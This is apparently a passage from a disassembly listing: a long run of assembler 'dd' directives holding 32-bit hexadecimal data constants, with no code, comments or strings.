		dd 0A7E5DBA3h, 798CE9B1h, 0F12F9ED4h, 0F08B5344h, 6F9958Fh
		dd 653D2AE5h, 1D3838DFh, 23545A21h, 0E28C540Ch,	3A30D9BAh
		dd 647713E1h, 94ECA9Fh,	0F5CF0888h, 853A0982h, 0E9EF585Ch
		dd 154172Dh, 7F037C5h, 14D37AD0h, 6E39F17Dh, 0C4103C66h
		dd 0DBB83A8h, 4D4A3FEDh, 1E8B080Fh, 0A8DE02BCh,	0DA51993Fh
		dd 63E9042Bh, 0DB2EE874h, 2EC65E82h, 0A9A26525h, 8960C925h
		dd 0F8654D8Ah, 0F7F54FF7h, 1EF17DABh, 2B5D5DE0h, 76B219E9h
		dd 33612395h, 6DAC2F4Dh, 0ED13902h, 9699420Eh, 7713DDB5h
		dd 94A2DE94h, 221DC5FCh, 806D799Dh, 6FD8F36Ah, 0D120A526h
		dd 0EE8CF8A5h, 0D7566256h, 0D0A7C4B9h, 99140857h, 0CFE0C4DBh
		dd 67464349h, 0F07D1340h, 3CF7D0Bh, 4DEECD98h, 0ED52663Bh
		dd 0A618809Bh, 724C1398h, 0E81247CDh, 4E54C554h, 0BE434451h
		dd 0D8CB33E5h, 495EBB2Ch, 82901F30h, 856DF3E3h,	0DB663127h
		dd 0D762ED8Ch, 0E89E78FBh, 355F92ADh, 0D451E0C1h, 354EDE61h
		dd 0C3C19628h, 459C4B18h, 232696EBh, 0FF60350Bh, 3E66DC77h
		dd 0F02836FBh, 82EEBDD3h, 0FAA10FCDh, 90802A83h, 2AB8C178h
		dd 0A99E27E1h, 0B0615C94h, 0A8FA2057h, 7C679C98h, 0EA320821h
		dd 38A5A4E8h, 912B306Ah, 9752F088h, 0B1F55444h,	531B57Ch
		dd 0C4568392h, 7316388Ah, 0AA5E33F3h, 101133DAh, 39D2AAFFh
		dd 76D782DAh, 4900D6DBh, 915D62F4h, 0E4146DC5h,	0E2D520F9h
		dd 0E74AD49Bh, 56FE2C4Fh, 0FFE8ED0Eh, 8DF2A6F6h, 41376A5Ch
		dd 0E1808BCCh, 2992C6AFh, 9578631Eh, 67F37D4Dh,	0FB934D14h
		dd 21D648ADh, 0FF37904Ah, 0AC3EAD02h, 339052E6h, 0B9E9F64h
		dd 0FCA1EBD7h, 6EA2511h, 0AA75CA49h, 0AA9969D5h, 0EB78BFFDh
		dd 4C5FC3AFh, 0A64A8FACh, 0C7209BBDh, 86D8E10Bh, 0AC08629Ah
		dd 75A6A68Eh, 0CFF70DBAh, 0EA6FD87Eh, 95DF7328h, 0E89111CCh
		dd 0C5379246h, 0C19FACB0h, 0D8046E79h, 2C73D92Bh, 0D3235A51h
		dd 45DCA981h, 0B1D3D6E3h, 2E93E791h, 370C6E1Eh,	64E03994h
		dd 0B8353B16h, 639EA00Bh, 866D402h, 5AB5F676h, 0ECD45E22h
		dd 80E3EC0Eh, 0F038BF83h, 619C93DAh, 1AA8286Eh,	0EE964C50h
		dd 5F974B11h, 21E81B23h, 346A1FE0h, 0FFF9681h, 4E4CBC9Eh
		dd 94794Ch, 1E106B65h, 305E4E71h, 5B2A5516h, 47231F2Dh
		dd 54C40922h, 117A4AB0h, 0D6A466Ch, 98A75850h, 0AAB6C3E3h
		dd 0F233E2E6h, 0BE7246AFh, 7D62D915h, 13508090h, 0EEA64F1Ch
		dd 0A3A3C07Eh, 3B36BF37h
		dd 0B618B1CFh, 322D05A6h, 36D1CBADh, 3DB1AA55h,	29850723h
		dd 0F8AD62E9h, 0F6C88BDFh, 998682DAh, 0C5F53D25h, 0CA227922h
		dd 19775B2Bh, 97744366h, 8FB569C1h, 3690866Eh, 4056C638h
		dd 10DD6DB8h, 894EE0A2h, 0C8CAA85h, 5DD8CA52h, 4F14ABB6h
		dd 163A23E1h, 6C2327DEh, 3836CA98h, 0DD620EE4h,	94B40937h
		dd 18E42029h, 2F15A5E4h, 3BCDAABDh, 0D7C3535Bh,	123FF3B6h
		dd 4AB9A36Ch, 7F267F8Ah, 9727FDADh, 3F3D5085h, 0DF2E0AF2h
		dd 0A7393953h, 933C552Eh, 97CA0A6Bh, 2CD9792Bh,	109E58C5h
		dd 0D78BCE86h, 0E066118Bh, 62CBD657h, 40C9285Ch, 0B8EB2A30h
		dd 2B522292h, 593B7A73h, 5B5CC0Ch, 35738E1Fh, 0E38DA70Fh
		dd 0B30EAE0h, 97D506D0h, 96D3297h, 0DD5D4505h, 1F27FE45h
		dd 966BFBD1h, 990A76A4h, 3E736296h, 41160D0Fh, 0AE08BAE3h
		dd 58132AD4h, 43106100h, 83CCEA25h, 0BAAD12E9h,	0D9F05F54h
		dd 0C1DB0C7Fh, 65896969h, 0F577E3CEh, 0F2A9FAA2h, 0E4D19093h
		dd 611DB71Eh, 3DA077DCh, 0C8D6CF2h, 687AAEBFh, 5BB8F74Ch
		dd 0BCF3AC8Eh, 245E932Eh, 0D4DF96F9h, 7433F911h, 1DE1D63h
		dd 0FC696BFBh, 204FB9E4h, 0BE717E27h, 0FC64E23Fh, 0C42EA54Dh
		dd 0CF8BB2C3h, 36F08B20h, 9149975Eh, 0FD7AE499h, 9DBE4E51h
		dd 0E8608EEBh, 31D3D7C5h, 5375178Eh, 0DE880225h, 25165C50h
		dd 0B689875Eh, 92E6C763h, 6B45A72Eh, 98527F52h,	64826137h
		dd 6A69AD19h, 525CF589h, 52156EEEh, 1ACE21BCh, 7A64F6C4h
		dd 9A036F39h, 0EB3A516h, 6C869113h, 7E92DC05h, 5F0E1D26h
		dd 22602093h, 8637A99Ch, 0F8451106h, 930C6C55h,	1C9FBBE9h
		dd 74F06D52h, 596DC036h, 0E7FAB544h, 0E296331Eh, 40CC5DAFh
		dd 56B065Eh, 0F7052CD9h, 7108996Ah, 4C015750h, 22494A7Ch
		dd 5B3D74D1h, 8F758B34h, 10DADDF1h, 60C36FBAh, 1A97A244h
		dd 1FA20Ah, 0F33DF18Eh,	64B823CAh, 0F814287Ah, 13AB1A15h
		dd 37B631E9h, 0FE4AF1F0h, 22560CE2h, 8E36A59Dh,	3B3995D3h
		dd 917AAE1h, 0F5633E96h, 0C9197E2Dh, 0F15D543Fh, 591F49D5h
		dd 0DBAD2FAFh, 0E6CE8BB9h, 4B07D16Fh, 40DF6F6Ah, 15953378h
		dd 29C1EC44h, 5984896h,	8945F331h, 0F2E4FD87h, 0B0B23CF3h
		dd 7422B857h, 24B491A2h, 129C9AAAh, 5D7A2764h, 95116DEDh
		dd 0E4991728h, 2643B536h, 0A05ED554h, 0F2198FD8h, 0BE402E7h
		dd 9A583AA5h, 62C28116h, 0F579CB26h, 0A688FE65h, 6C50E168h
		dd 27CCC364h, 5615FD64h, 43A90A7Dh, 79631663h, 1EBD3AF4h
		dd 584C66FFh, 0F665F6D2h, 8FB0961Dh, 0E4892EE4h, 9E8C5FC0h
		dd 0B0D21282h, 91FA5207h, 69C16881h, 0EBE99F79h, 0A274487Fh
		dd 6F549071h, 981A5EB5h, 77810E16h, 95482768h, 0EEB995F1h
		dd 2BBBA55Ch, 5B3FBD24h, 0F447D469h, 411D4875h,	0BEC9391Eh
		dd 683684C1h, 0F681785Ah, 4075169Ch, 0E07FC470h, 63774806h
		dd 93FAD609h, 2A8D5B86h, 0B77123BBh, 9746B39Fh,	2EDB201Fh
		dd 976F2A2Fh, 2BC00B6Ah, 7599FE53h, 0C4D64395h,	0C13215E6h
		dd 8DC6CC89h, 0D0B3DB5Bh, 2E9A86BCh, 25E3F2BCh,	633541D2h
		dd 21BED6BBh, 0C615E6A2h, 0C13A0061h, 7FB1879Bh, 0FBD78550h
		dd 0C6D16E1Fh, 42BD9051h, 69AD11Ah, 0CF9DEEB7h,	3A9A62D3h
		dd 0D4D6AF8Dh, 0E7486ABAh, 15501889h, 62F8C037h, 5278C230h
		dd 0FE2E9965h, 15FEFD22h, 5A46A223h, 64AEE791h,	0BBEBAA25h
		dd 7CA0D3F6h, 2ABBC381h, 5A2588EBh, 0E37F48A4h,	0D25118D0h
		dd 1A3F911h, 712024F8h,	0B4B9B15Dh, 0F23D3C2h, 17B23781h
		dd 0CB78348Eh, 0A632925h, 0E2AF2FA6h, 0C3A37AE9h, 8209F536h
		dd 0BBE680F5h, 0D652E1D6h, 0E60CAA63h, 2E20FB5Ch, 0EA5CF0BBh
		dd 0CA12A9FBh, 507D84A8h, 5BB7FF47h, 0FE3BBE54h, 9CAF4FBDh
		dd 164EA1C7h, 0BAE398D6h, 857FD527h, 4CFEC9C1h,	0DC1031B5h
		dd 7B6CB9h, 23EFDFF2h, 9387D6C6h, 5E24DA14h, 0BE032596h
		dd 0FDF4D333h, 4A485001h, 0E8494ACEh, 0D0489BBAh, 0E262DA09h
		dd 0B9B9D80h, 755CC3B2h, 0DEC18388h, 0C067B8F6h, 817A4ED9h
		dd 43E000Dh, 6BE64D52h,	0E61CA662h, 3DB8E02Ah, 0FE940968h
		dd 0ED4B9CA1h, 0B851BBF1h, 5D64F8DCh, 56FD6691h, 38799B60h
		dd 30566A52h, 59AD4BCh,	0FF983DE7h, 0C8EDC3BDh,	0B98B656Fh
		dd 0CA52379Bh, 45CFBB3Fh, 0E2367326h, 877C0EB7h, 43921737h
		dd 81F521CDh, 0E15E8B2Eh, 5B062805h, 95D9B7C6h,	5E79DD4Bh
		dd 531E157Fh, 1F9061D7h, 463F8C5Dh, 5A506852h, 0C93D8D89h
		dd 693B3136h, 0E164FFFh, 0D61C77C0h, 0C9E49D0h,	9DCC93Ch
		dd 0FF785A0Bh, 71885E2Fh, 0FD2B1B16h, 0A57DAA3Eh, 7805F0Fh
		dd 4C0ADF46h, 57CCE5E6h, 0AA351465h, 200D1BA2h,	34908Eh
		dd 1D6EBF77h, 0F3F24BE5h, 4D9BA12Ch, 0D0F644C7h, 0E7CE7D97h
		dd 0DCCD6120h, 0A0DAD972h, 2205D27h, 0F178DD39h, 7E87F924h
		dd 121FB522h, 0F629B9B0h, 97ED2281h, 0C5F90C34h, 7BB3FE59h
		dd 0DD2CCCF8h, 0A4B42C95h, 5C3E216h, 0AC55646Dh, 8A61A96Ah
		dd 5D9D27F5h, 1EDBF979h, 0E1AD8A66h, 0B685FE13h, 2469AA9Dh
		dd 0D8EB2B75h, 0C958022Ah, 768ACFE1h, 0A27405DAh, 0DB4CDF47h
		dd 436A5ED7h, 4BED3242h, 4BA82360h, 2CA9484Ch, 0AF74008h
		dd 3180B6E7h, 113A2F91h, 526FD888h, 0FDFE191h, 0F9212071h
		dd 0D7F64123h, 0ADF4250Eh, 0D1448C02h, 59A1721h, 0D2C3B5BBh
		dd 193CB262h, 243AC53h,	0AA9ADD78h, 0C5C67673h,	0E4A68E3Ch
		dd 799C19EEh, 17FFBB39h, 59557957h, 0D12D69F5h,	109A035Bh
		dd 0CD6876A1h, 0CE4AD554h, 0BA9B2B09h, 6A71C38h, 0E413DAD2h
		dd 3A64F1A7h, 6F69B17Ch, 5123E70h, 0C8E994C0h, 7B6FA543h
		dd 7C23BD1h, 0B53BEF3h,	56F8EA64h, 30598A19h, 0B7E81056h
		dd 9D880DF0h, 0E08B9B34h, 0CA1FF3D6h, 83799522h, 0BCC5A81h
		dd 383B0236h, 734E1844h, 5C08401Fh, 6A35D8F2h, 0B9441EA3h
		dd 2BC01609h, 1FFA4355h, 0F16BC764h, 0AE0D75E4h, 168D0882h
		dd 6C21127Dh, 2365C02Ch, 512FBFF7h, 79D45033h, 0E98C1E0Bh
		dd 0C33EAF7Bh, 5CDE5840h, 0B8D03Bh, 0B0CE154Eh,	2E1EA107h
		dd 2A410F96h, 2D815336h, 884845A1h, 36D4CF2Eh, 2B7C312Ah
		dd 0F5C1E9D2h, 8962583Dh, 4E6CC01Eh, 95AE35D9h,	8D736170h
		dd 9857E76Ah, 5A625BBFh, 0D6837D3Fh, 3EA3C1BAh,	0F1371959h
		dd 5F47F17h, 0C7D35446h, 0CDA9A97Eh, 0F684ABFh,	10E057BEh
		dd 0F0FFC519h, 7A7EE5Ch, 9D0A8360h, 0DE3C559Fh,	4B9A398Eh
		dd 58C5C46Dh, 6331C079h, 0CB4988FFh, 0E2A4A78Dh, 28C6CC0Bh
		dd 9060CB1Dh, 0FA38A91Ch, 1E68CBF1h, 6DA92232h,	1D23620Bh
		dd 0C853F933h, 75E3F012h, 2E908D36h, 0B48D47CDh, 0CE37BF27h
		dd 0B03171A3h, 0DBB69774h, 8D3A98F1h, 8B69D89Fh, 0B261605Eh
		dd 0A4C93BC6h, 52168B15h, 4C12ED23h, 4A13C763h,	0E1E51C09h
		dd 5F05EC8Ah, 69331A28h, 561A004Bh, 874F5A2Eh, 2087386Ch
		dd 9C46BC95h, 8AB46C89h, 0CAD83509h, 0B69FCFD7h, 446C49C3h
		dd 0E9E591E3h, 9DE6C867h, 76113E86h, 15051CCEh,	3386FF13h
		dd 549847C5h, 589CFDC6h, 9028F454h, 0E047E984h,	5FB121F7h
		dd 527C0B2Ch, 5250DB1Eh, 0D2967249h, 0F5024336h, 0A139BF76h
		dd 0F882013Ch, 487260C3h, 56EB405Bh, 15F17183h,	0D4E62B05h
		dd 2CB27D87h, 391214C9h, 228CF82Fh, 2FBAABB7h, 132A3053h
		dd 9DD3A9A6h, 30E82C96h, 9142E4D7h, 0EA3C495Ch,	0EF66B19Bh
		dd 45449A31h, 0AA039BAAh
		dd 0C5A54C46h, 1FFD8798h, 205D5F5h, 6F160B63h, 76016FCh
		dd 6E4A30B0h, 0C3B7D28Eh, 11D18AD7h, 91921DD1h,	3275B53Ch
		dd 13478DAEh, 70B6AAD9h, 0BF837482h, 0F7BD2978h, 91833B7h
		dd 0DD3B8C96h, 89F8A0EEh, 784398C6h, 0A0D0A02Bh, 3209CDA8h
		dd 5F3FB7EAh, 0B6AA29A8h, 59C012Eh, 4C40A01h, 443EEF9h
		dd 324354A0h, 1AFE5C11h, 5A8C076Fh, 74E39148h, 12683088h
		dd 0CE6158EBh, 159EA95Ah, 0CCBE6B3h, 0E12348E3h, 0E79F09C9h
		dd 889174BBh, 2080BDEDh, 1491560Eh, 78E51202h, 2BA71F46h
		dd 0D9992BFCh, 0EAD88182h, 8838C09Fh, 7D30635Dh, 56F98715h
		dd 2716808h, 0BCA5381h,	563B232Bh, 0BCBDECA8h, 2B0F1DB4h
		dd 0EFD1DB5Bh, 71740340h, 3091153Dh, 341B6C2Dh,	94AB36C9h
		dd 0D3948DE1h, 75B44ED6h, 5EC345BBh, 0E88213AFh, 4ED34C73h
		dd 195C816Ch, 31B27F9Bh, 72BC1BE0h, 1700FFF9h, 2C33E75Fh
		dd 0D40C8834h, 515CB5D8h, 8A5E54EEh, 1394E626h,	0FB4F7B1Ch
		dd 0FE318021h, 0C3C3AF4Dh, 0E4D24DD4h, 6615B3FCh, 0D05F35F4h
		dd 2D3F241Eh, 0E1ECC85Bh, 6D1E1CA8h, 69AE4D68h,	12C5DE04h
		dd 8FB98394h, 9857C31Fh, 494E4E17h, 0F9CCF285h,	3B79519Bh
		dd 8DD80D10h, 175B161Eh, 600628A9h, 0F7B29431h,	0DC8EF84Fh
		dd 602AC211h, 59188E33h, 0E9912FFDh, 0A011AAB0h, 75A00BE1h
		dd 0F7BF5863h, 0A135A732h, 4FA1E166h, 3D009F1Ah, 799A8AF9h
		dd 26515989h, 8752E2BBh, 0CBAD10A6h, 8B667F70h,	352A7EA1h
		dd 0F1625AEh, 3294D23Dh, 181F25D2h, 0C10BB5E7h,	0F6F30E70h
		dd 1926F34Ah, 534AB957h, 0B215A116h, 488F91E1h,	4BDA8F2Dh
		dd 0D0CAE44h, 89122241h, 13637172h, 0CD8B782Ch,	5429377Bh
		dd 5C3A6E48h, 0CB0B7C52h, 8415558Dh, 149E8E04h,	9F120519h
		dd 4E3C0DA5h, 0D4E06E55h, 53B8489Dh, 55F6D2E8h,	3336724Fh
		dd 0DAC2CC60h, 8C83BEB0h, 0A54B65E9h, 287A3DA4h, 0D69ED8A7h
		dd 29C50CABh, 6AFF4F41h, 463E1D0Ah, 0B7CB8FE7h,	12986082h
		dd 0E2115324h, 0B880E700h, 3FA32AD0h, 0DF354925h, 2E550FFEh
		dd 0DFC06637h, 7091DAD3h, 0A445AD11h, 3612B46h,	0B727D149h
		dd 63389303h, 0FA629A44h, 0C818BF3Bh, 3326EB29h, 8C31515Bh
		dd 634F36A9h, 0EC0F9C71h, 0BCB801DEh, 693C9BA4h, 4E4E463Eh
		dd 417005B7h, 0FCCDED8Ch, 983838D9h, 7E91788Bh,	3F0B3C09h
		dd 5E5EC499h, 480E7235h, 6C98895Ch, 0B4F3628Ah,	0F689BB33h
		dd 0ADF5ED89h, 251B3667h, 9F48F38Dh, 0E2B2CC2Eh, 0FFC65D2h
		dd 7D5AE28Ch, 0C536F82Fh, 2C4F8DCDh, 9F147592h,	0BC5EA41Bh
		dd 0DD3472h, 0C9D6F614h, 4976AB53h, 0C9E8A264h,	3CE0C4AEh
		dd 386EA814h, 0B6EF6AD3h, 44360772h, 0A3F336B4h, 661EF3F7h
		dd 58027D79h, 9F17FB14h, 0C4FF7CFh, 35C15B41h, 48F86743h
		dd 7A6E0951h, 29E44D4Bh, 53457126h, 74387937h, 6D0852E2h
		dd 0DB881008h, 0C975923Eh, 0D098CFE1h, 0E23FC3B8h, 14B35B77h
		dd 6E9D654Ch, 0B7FC3CD9h, 9228E9BAh, 78921B80h,	0CD89560Fh
		dd 0F15E034Ch, 4457A215h, 0F67F2A0Fh, 2E4D1FEFh, 88C5750h
		dd 0F7B14C8Fh, 14824D3h, 32CC7DC2h, 0A84F43C5h,	0FE58F3E3h
		dd 0E95053D2h, 0CD001A47h, 0A6440171h, 0AF472B7Ah, 0AF24D7AFh
		dd 0C92A47F3h, 0D2ABA705h, 0EAEF26F6h, 0F9EC754Bh, 360B35Ah
		dd 0F111C1B3h, 5C56764Dh, 983401Dh, 8DEBCE88h, 0B66E57Dh
		dd 0CB4DB4CEh, 22757691h, 0EE08A150h, 1E82DB3Eh, 61EF8E03h
		dd 286F659Eh, 2352938Eh, 158398D7h, 6B3D201Fh, 0EBFF9573h
		dd 0BD907FDFh, 1CEEE5F5h, 8F50B488h, 0BF557F3Ah, 2FCA731Ah
		dd 0E8179F57h, 41EB7324h, 0A00298F9h, 3AD38655h, 0ECB4EBD3h
		dd 0A423CCBAh, 9D80F7A1h, 7B12443Ch, 27CE5464h,	8EBF60A2h
		dd 6B609312h, 4A8E6D49h, 6694E5B6h, 2220B0D3h, 0D0E006DBh
		dd 0AE97A16h, 94946A10h, 0B9DEB04Fh, 0D52AC0Ah,	6B69FEB6h
		dd 2A48DA77h, 0F53C4F4h, 4759BF6Fh, 161DC70Bh, 9FEC8A9Eh
		dd 0DAC00795h, 8EFF0E48h, 0FFAB3A5h, 58A55820h,	12D7FAC8h
		dd 0D8974A86h, 7B9A8659h, 980D20CBh, 95E31BEBh,	84FC18A2h
		dd 0A087DD49h, 74345C13h, 4092F2D0h, 0A1961D19h, 32FF2617h
		dd 383158A4h, 5B664456h, 7758C523h, 92EEFCBAh, 0B382076Ch
		dd 0DFB300Dh, 8712A11Eh, 0B074871h, 5CF775C1h, 0A6B40795h
		dd 45B5F34Eh, 0E138C88Fh, 7EBC7357h, 50DCA40h, 511F5540h
		dd 9735AFF7h, 92B71B5Ah, 0E505FE2Ch, 745060D9h,	86FFA968h
		dd 63AF6243h, 0BA241F6h, 1D38B231h, 0B5B60955h,	17DA0C2Dh
		dd 0C6301FFAh, 31C5FCA6h, 683AFA44h, 0C6F4DC51h, 3ED04DD4h
		dd 0D14FF645h, 0B178F96Bh, 0C6A5BCACh, 9CA62623h, 837B244Dh
		dd 93146490h, 1CBBBA5h,	3CB36D14h, 1F7C63CEh, 0D8824460h
		dd 0E72E0BACh, 0BB7A2D7Ch, 6C63C878h, 1BAD5D04h, 141C2F87h
		dd 8E6BF077h, 6305C717h, 0FA680341h, 0ADCBF1EDh, 0E0D3A97Bh
		dd 72649B74h, 6F40F998h, 2D8F16A5h, 0D9013468h,	10FEA5EEh
		dd 49EC2C20h, 11B38012h, 0B4E1820Ch, 43DE5CEEh,	4543CDDAh
		dd 661A65AFh, 55EF26EDh, 0B1A887B9h, 80145E98h,	7F7E4E0Ch
		dd 2F3903E2h, 0C84DA924h, 6F79D32Dh, 0EE4B06D9h, 0C2549B88h
		dd 21ECD82h, 0C0751702h, 4C2B8A59h, 11608485h, 5F2B30ADh
		dd 41FB600Bh, 0E4E41583h, 9327044Fh, 118150E6h,	18A79E20h
		dd 0B68FC87Fh, 0E3A9CC4Ch, 0A6F519BFh, 44429EA4h, 7B43C8C0h
		dd 0C3727483h, 81458A9Dh, 25B10A7Ch, 0BA138D45h, 0B7FFA504h
		dd 409DB26Bh, 1402732h,	278851ADh, 0A007E172h, 2B69AC09h
		dd 0E50C5754h, 0FBACF0EBh, 1B39D2DEh, 0D8E8297h, 1DDC0470h
		dd 11ADB5CCh, 0A3AFFACh, 89CB2AC8h, 14DA5184h, 0E6726145h
		dd 2FEDDDB2h, 4481A9F1h, 8A045D64h, 0BF48BD48h,	0BD2E49BEh
		dd 3BDCF297h, 2A2DF0AAh, 8E678973h, 0DEE0FF98h,	66592832h
		dd 0B09D80ADh, 8C93292h, 90D1F745h, 0A9A87FD1h,	8F0A6BF5h
		dd 2B38FBCAh, 7CCDC7BBh, 6673ADE1h, 0B55B048Dh,	9A882500h
		dd 3C1A1CBCh, 20088DB8h, 0FC0BAC2Fh, 94D2F76Ch,	0C7CB4073h
		dd 0B9FB9D70h, 38334F0Fh, 0A01F7ACAh, 9F7CF466h, 846543AAh
		dd 2A0C005Dh, 5FF2AC47h, 877A1389h, 96FECDC2h, 162040FEh
		dd 0BFD3F489h, 43A6CB2Dh, 67C1BB7Ch, 94AE0A81h,	73F0FBBBh
		dd 4FC999A1h, 83564B0Bh, 75A4D910h, 209BF40Ah, 0BAA8A287h
		dd 6522B918h, 0ED0D5505h, 0B00CA8ACh, 0A530CEB6h, 4122AF9Bh
		dd 7D8161ABh, 94E0F06Eh, 73B66B4Dh, 0D654F007h,	0C3F1DFBBh
		dd 9F6E6E87h, 90D60430h, 0E80EE9D0h, 0DA98956Ch, 5D796F59h
		dd 0B9B12BDFh, 0A7BCB5BEh, 875F529Eh, 0DD0E74FCh, 322A1A5Fh
		dd 7E57E9A3h, 82076A28h, 92EDD98Fh, 4424F248h, 4AF6498Ch
		dd 945B201Ah, 0E536FF60h, 7E238361h, 0A831DB8Dh, 0DCCA3CD0h
		dd 0C43C0C9Eh, 9A6872EDh, 0E140E2D8h, 2C41A3F1h, 1C92472Eh
		dd 0EEA50973h, 0E59E8884h, 0CD74E534h, 57909678h, 57FF8E95h
		dd 0DEAF01DBh, 50B6BCB1h, 3FC52710h, 5E18158Ch,	0B272C1E0h
		dd 0E496956Ch, 9B8B6326h, 0DF0D9BD6h, 0C12FFD61h, 0B25C1F6Eh
		dd 993C6944h, 2B61C118h, 8E0A439h, 0AF3EAE78h, 0ECBB3103h
		dd 64EB0423h, 9DD66307h, 8D1DF452h, 398BBB5Bh, 964B1823h
		dd 2477CEBEh, 5996AD84h, 61400BFh, 4C62D463h, 5D9E1A9Dh
		dd 0D71B2726h, 8707FEC1h, 0CE481E72h, 0B5E1BE81h, 0DEF22C93h
		dd 5F2C9F2Fh, 0FC2D158Ch
		dd 7DB5B89Fh, 0A4434F75h, 0DAB11A36h, 69459B27h, 0F2BA49BFh
		dd 2AB212EDh, 87089D27h, 0ABA98F80h, 6CEA6242h,	0B5A23AAh
		dd 5913CEFFh, 8CFD71DFh, 0D98A327Dh, 97383355h,	42E022FFh
		dd 26078459h, 4372981Dh, 906130E8h, 0BA06E57Eh,	0AC9230FEh
		dd 0A0638199h, 58AC9BFh, 0FCBD13F2h, 0A6A1440Bh, 0E43BBD37h
		dd 0EE29B11Fh, 0C664ECBDh, 0C9384E46h, 63A38FAFh, 0A5522276h
		dd 22380F0Fh, 0A109B643h, 0BF3D0D69h, 42405D87h, 0A0E1B63Ah
		dd 9E336B05h, 0BE23AC11h, 0D0797EFFh, 80EB0198h, 15FBB982h
		dd 35C95F69h, 0A19ACB3h, 2663E83h, 9CB5D5FAh, 19ABD2CDh
		dd 33A56F44h, 6A3EEC3Bh, 12500F05h, 67913ADEh, 0A62683AEh
		dd 5EC4D17Eh, 0AB27A3F9h, 0D5BE2309h, 5F3A316Ah, 4A52996h
		dd 88C2547Ah, 0C7F4F73Ch, 34789A5Eh, 0A292770h,	0A84AB127h
		dd 0C9D817E4h, 37B19789h, 0F4ABE35Bh, 0E95D252h, 70B9EC32h
		dd 37C6DC99h, 0D3FB7A86h, 0B71B8B62h, 86AFD220h, 0F27CC3C4h
		dd 0EB42225Ch, 0CADFC889h, 0D4D8CC90h, 0BB3FE05Bh, 0DE0A8E2Ch
		dd 86EE89A2h, 0E275087h, 24132AF5h, 0ED3509A6h,	0AC90C812h
		dd 4052178Dh, 0CDFFC1C5h, 0A4F42A6Bh, 0D200D850h, 0A1F1A65Eh
		dd 0C56B8707h, 0E1F10147h, 0C778644Eh, 0BE38C6FDh, 0ACA5CF88h
		dd 33F3BCEDh, 6DB93A70h, 2416AEBDh, 0B9E4ECh, 864485Fh
		dd 0BA0ECBAh, 0DD9ECFC4h, 0C0EDBB26h, 0AF0D56A2h, 91166BEBh
		dd 0A2F1888Dh, 39EF89D0h, 33FB9910h, 0F148388Bh, 3BB11B4Eh
		dd 148696B7h, 26B12AC9h, 86142E0Eh, 680B01E1h, 0F4AD96AAh
		dd 4A184133h, 0A0734FF1h, 0FCDAC6ADh, 0E4B1861Fh, 0AD7C439Fh
		dd 3AAE1FDDh, 1829D72h,	0F8884E68h, 8EB31AAFh, 0B555906Eh
		dd 0A4369D8Ah, 77A4AEAEh, 0E611A2D4h, 0A4EB6722h, 515A6C0Bh
		dd 1B187457h, 5AED8240h, 0E168B0Ah, 9E7AB64Eh, 0DC1180DDh
		dd 45968341h, 78656FC7h, 0F6ED9A61h, 0E959633Bh, 539BEA33h
		dd 0E5E10433h, 5BF9CE5Eh, 40DC3A1h, 99AB1E7h, 14146169h
		dd 0F8D89F6Fh, 1CE7BC93h, 2277BA5Ah, 0F551B63Dh, 0F5E6AED5h
		dd 7E0F2DDFh, 34CEBA2Eh, 53CEC096h, 0AD006761h,	0C61CD2BDh
		dd 0AEBFCD8Fh, 3D1604A8h, 0E25EAB54h, 0F9088AE5h, 0ED375138h
		dd 141D68B7h, 1155FAECh, 0E1FAEB18h, 3123969Dh,	29FD42D1h
		dd 0C844ACC5h, 83FBA411h, 0A396405Bh, 73FF067Eh, 0B8444DE0h
		dd 6F03CBD2h, 660B7910h, 0E760A807h, 0B89D85EFh, 0AA35B5B5h
		dd 89E9AD1Fh, 0A5129FAEh, 0C349EE7Bh, 0DDDC8C86h, 0C02D949Ah
		dd 0FFDCABB4h, 6C15631Ch, 0DA26660Bh, 30F0F1ADh, 0CEDB520Eh
		dd 0D8080DABh, 0EE71738Ah, 0D67E8646h, 328E6544h, 51EDEE27h
		dd 4640E394h, 685F17ACh, 9723F49Dh, 0D97B680Ch,	0F53C392Fh
		dd 8C30A56Ch, 0F0E2F43Bh, 8DDFDF9Dh, 0F1814C52h, 0DE9C17C0h
		dd 6B09EEF6h, 22E59305h, 0C5EF82E0h, 3572D056h,	0B08A3D34h
		dd 0F89FF119h, 0BEA5976Fh, 77094B64h, 0B72D3156h, 0A71AC6D8h
		dd 235DC1A4h, 0FAEBB3D1h, 0CE8D3933h, 1A9815B3h, 0E419079Fh
		dd 5995A6F7h, 4A391B08h, 0B128B87Ah, 0CE90E350h, 0AB860BFCh
		dd 0BAEC210Ch, 4AF2BFF0h, 2F3DAA16h, 5951BB8Dh,	7040EE66h
		dd 117905F9h, 4A7658C2h, 32BAA8D5h, 0C355E3F3h,	94B8C264h
		dd 0DB7DD3FAh, 0A17EFDBAh, 5F4A0F04h, 909BB8F6h, 0E77ECE7Ch
		dd 6F8C28DFh, 0BE347C82h, 1D75941h, 0E38AD887h,	0B6E312B6h
		dd 15E1C64Ch, 0DCC34A58h, 16DEF34Ah, 2355965Ch,	0CFD9758Ah
		dd 4961D07h, 0BA7B5080h, 8374D16Ch, 5F80A1ECh, 50F9FCF5h
		dd 0BAF5E3D7h, 0D9B76164h, 5BA81D20h, 6C2BC541h, 96CA81C5h
		dd 685B6F95h, 0F97F393Ah, 2B32D8D3h, 0D9BC325Eh, 89BAD635h
		dd 50DBC29h, 0C908CB60h, 5B5705FBh, 1A1EE27h, 8A116F0Bh
		dd 713896C6h, 4A44D192h, 0BEDBC659h, 0E90FA69Ah, 0DDD06448h
		dd 0F34F9945h, 0FD7515B4h, 0EF947E8Bh, 3057F41Bh, 5395233Dh
		dd 58B860DAh, 0E6ABF6EBh, 0DA797984h, 0FBABEFBAh, 0CF6FD3DEh
		dd 9A6CEF06h, 9582F1C4h, 0D71FD52Eh, 0FF53601Bh, 0F9C95A8Eh
		dd 99C19BB5h, 255EF6D7h, 9922136Ah, 0C3406CD0h,	890AE61Ch
		dd 0B2E041FBh, 0B73AA005h, 6B8E0082h, 22D63C6Ah, 4132B9F4h
		dd 3B14188Ch, 0FF189F7Ah, 3801DA83h, 620494BDh,	5C6A3136h
		dd 877945A8h, 67E4538Fh, 1EB618D8h, 2369185Bh, 0D40A2B29h
		dd 74C6409Bh, 0F38557EEh, 0C2FED618h, 7236405Dh, 8B824EADh
		dd 66616A8Ch, 0FCDB497Ch, 21BE0267h, 334C8C14h,	0F8A69865h
		dd 0D41FA132h, 76B6BB87h, 0A44BDEFh, 0C9A0D01Fh, 0C4CB7830h
		dd 3733EEAEh, 6B813C1Dh, 758FE13Ah, 604EA50Dh, 45AE4477h
		dd 591A66B6h, 840073ACh, 237515E3h, 8CC1F9B9h, 0FC5D192h
